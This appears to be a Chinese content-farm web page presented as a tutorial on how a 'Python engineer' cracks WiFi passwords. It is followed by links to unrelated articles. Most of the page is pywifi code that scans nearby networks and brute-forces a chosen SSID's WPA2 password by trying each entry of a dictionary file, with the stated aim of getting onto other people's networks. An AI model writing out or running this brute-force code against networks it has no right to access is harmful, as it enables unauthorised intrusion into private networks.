密码设置复杂的wifi(WiFi密码设置复杂了)
密码设置复杂的wifi(WiFi密码设置复杂了)
2024-07-05 04:38:11  作者:不忘来年  网址:https://m.xinb2b.cn/know/zbo461243.html

现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程

密码设置复杂的wifi(WiFi密码设置复杂了)(1)

一、获取密码文件的路径

self.get_value = StringVar()

二、获取WiFi账号

self.get_wifi_value = StringVar()

三、获取WiFi密码

self.get_wifimm_value = StringVar()

四、抓取网卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一个无线网卡

self.iface = self.wifi.interfaces()[0]

六、测试连接断开所有链接

self.iface.disconnect()

七、测试网卡是否属于断开状态

assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

密码设置复杂的wifi(WiFi密码设置复杂了)(2)

八、自动会调用的函数,返回自身的网卡

return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

九、搜索WiFi

#开始扫描print("^_^ 开始扫描附近wifi...")self.iface.scan()time.sleep(15)#在若干秒后获取扫描结果scanres = self.iface.scan_results()#统计附近被发现的热点数量nums = len(scanres)print("数量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 实际数据self.show_scans_wifi_list(scanres)return scanres

十、添加密码文件目录

self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)

十一、Treeview绑定事件

self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

十二、读取密码字典,进行匹配

def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正确=== wifi名:%s 匹配密码:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue

十三、对wifi和密码进行匹配

#创建wifi链接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名称self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元self.profile.key = pwd_Str #密码self.iface.remove_all_network_profiles() #删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件self.iface.connect(self.tmp_profile)#链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #断开time.sleep(1)#检查断开状态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK

运行结果

密码设置复杂的wifi(WiFi密码设置复杂了)(3)

密码设置复杂的wifi(WiFi密码设置复杂了)(4)

  • 春天文艺文字(让我们在没有鲜花和掌声的舞台上绽放光芒)
  • 2024-07-05让我们在没有鲜花和掌声的舞台上绽放光芒热血沸腾、怀揣着理想和正义“1991年盛夏时节,我毕业于司法学校,怀着对法官这个职业的崇敬,迈进了那个悬挂着国徽和天平的殿堂热血沸腾、怀揣着理想和正义,我信心满满地开始了新的征程梦启航的地方当我来到法。
  • 散文欣赏心是一杯茶(散文泡一壶清茶)
  • 2024-07-05散文泡一壶清茶作者:子墨盛夏,一个人守在自己的小时光里自顾自地喝茶,说喝茶就不是慢慢的喝,只有用品的时候,茶才有了味道,有了意蕴品茶,不为解渴,只是在同自己的的心境对坐,有人说是禅意,或许,禅茶一味的境界不是谁都能。
  • 为什么说大耳朵有福气(耳朵大有福气)
  • 2024-07-05耳朵大有福气不光耳朵大,而且要有肉,耳垂也大,并且有光泽佛祖如来,耳大遮脸,天庭饱满地阁方圆,庄严肃穆,一脸福相为天下苍生死,死后成佛,度化众生国人喜欢看脸,佛祖一脸福相,一看就喜欢,佛教来我国,不费吹灰之力就席。
  • 花卉红掌有几种(识花红掌)
  • 2024-07-05识花红掌红掌,又名安祖花、火鹤花,天南星科花烛属植物,多年生常绿草本,能有效吸收空气中对人体有害的苯、三氯乙烯我国于20世纪70年代开始引种栽培红掌原产于哥斯达黎加、哥伦比亚等热带雨林区常附生在树上,有时附生。
  • 手机同质化怎么取胜(手机中的特色功能盘点)
  • 2024-07-05手机中的特色功能盘点现在的手机系统无非就是安卓和iOS两大阵营,而在外观设计方面,同质化现象一直是大家关注的话题比如你刘海屏我也刘海屏,浴霸设计我也浴霸设计,甚至一些手机,如果去掉了LOGO,你都很难认出这是哪家的机型不。
  • 二战英国最厉害的元帅(一战英国最高寿的将领)
  • 2024-07-05一战英国最高寿的将领一战协约国系列将领列传之五---伊恩·汉密尔顿伊恩·斯坦迪什·蒙蒂思·汉密尔顿(1853年1月16日-1947年10月12日),英国陆军上将历经第二次阿富汗战争(1878-1880);第一次英布战争(。
  • 王家卫重庆森林在哪里拍(重温重庆森林等待)
  • 2024-07-05重温重庆森林等待#港风放映厅#《重庆森林》是王家卫电影生涯中非常重要的一部作品,2018年英国BBC评选出100部最佳外语片,华语电影有13部作品入围,《重庆森林》就是其中之一这部电影上映于1994年,当时正是香港回。
  • 工地里的技术员都是干什么的(技术员在工地到底该干啥)
  • 2024-07-05技术员在工地到底该干啥放线,提材料计划,写技术交底,进场原材料取样送检,现场质量检查,隐蔽资料的填写,钢筋下料单的审核,模板尺寸标高的检查,……但一开始只要跟着工长完成交办的任务就行了放线先说放线,专职测量员把主轴线定好、。
  • 各种飞机的驾驶舱是什么样子的(各种飞机的驾驶舱内部)
  • 2024-07-05各种飞机的驾驶舱内部退役的航天飞机机舱达索阵风(DassaultRafale)战斗机,或音译为拉斐尔战斗机,是法国达索飞机制造公司设计制造的双发、三角翼、高机动性、多用途第三代半战斗机法国达索阵风战斗机和欧洲台风战斗机以。
  • 大侄子没出门(小侄子回家)
  • 2024-07-05小侄子回家小侄子这次回家显得非常拘谨,当然这是因为长时间不怎么见面的缘故,不过,我也在想这个孩子从小没有跟这边建立起感情,将来长大后即便联系,会不会仅仅存在于形式上的走动呢?现在不像老一辈那样都长久地聚在一块,。
  • 什么花更好养一年四季就开花(五种漂亮花)
  • 2024-07-05五种漂亮花在家庭中养花,并不是单纯的种上放在那不管就能够长得很好,我们也是需要定期去打理的,现在随着气温的回升,有五种花到了春天升温一定要及时的修剪,因为修剪以后它们长出新芽以后才会更加的粗壮,到时候开花它会开。
  • 智能手机可以换电池吗
  • 2024-07-05智能手机可以换电池吗手机属于消耗品,一般充电300~400次,或者一年以上,电池效率就会大大降低了,出现卡顿、闪退、突然关机、虚电等问题,所以遇到这些问题基本上就可以去更换了官方的电池太贵了,动辄两三百,现在第三方电池价。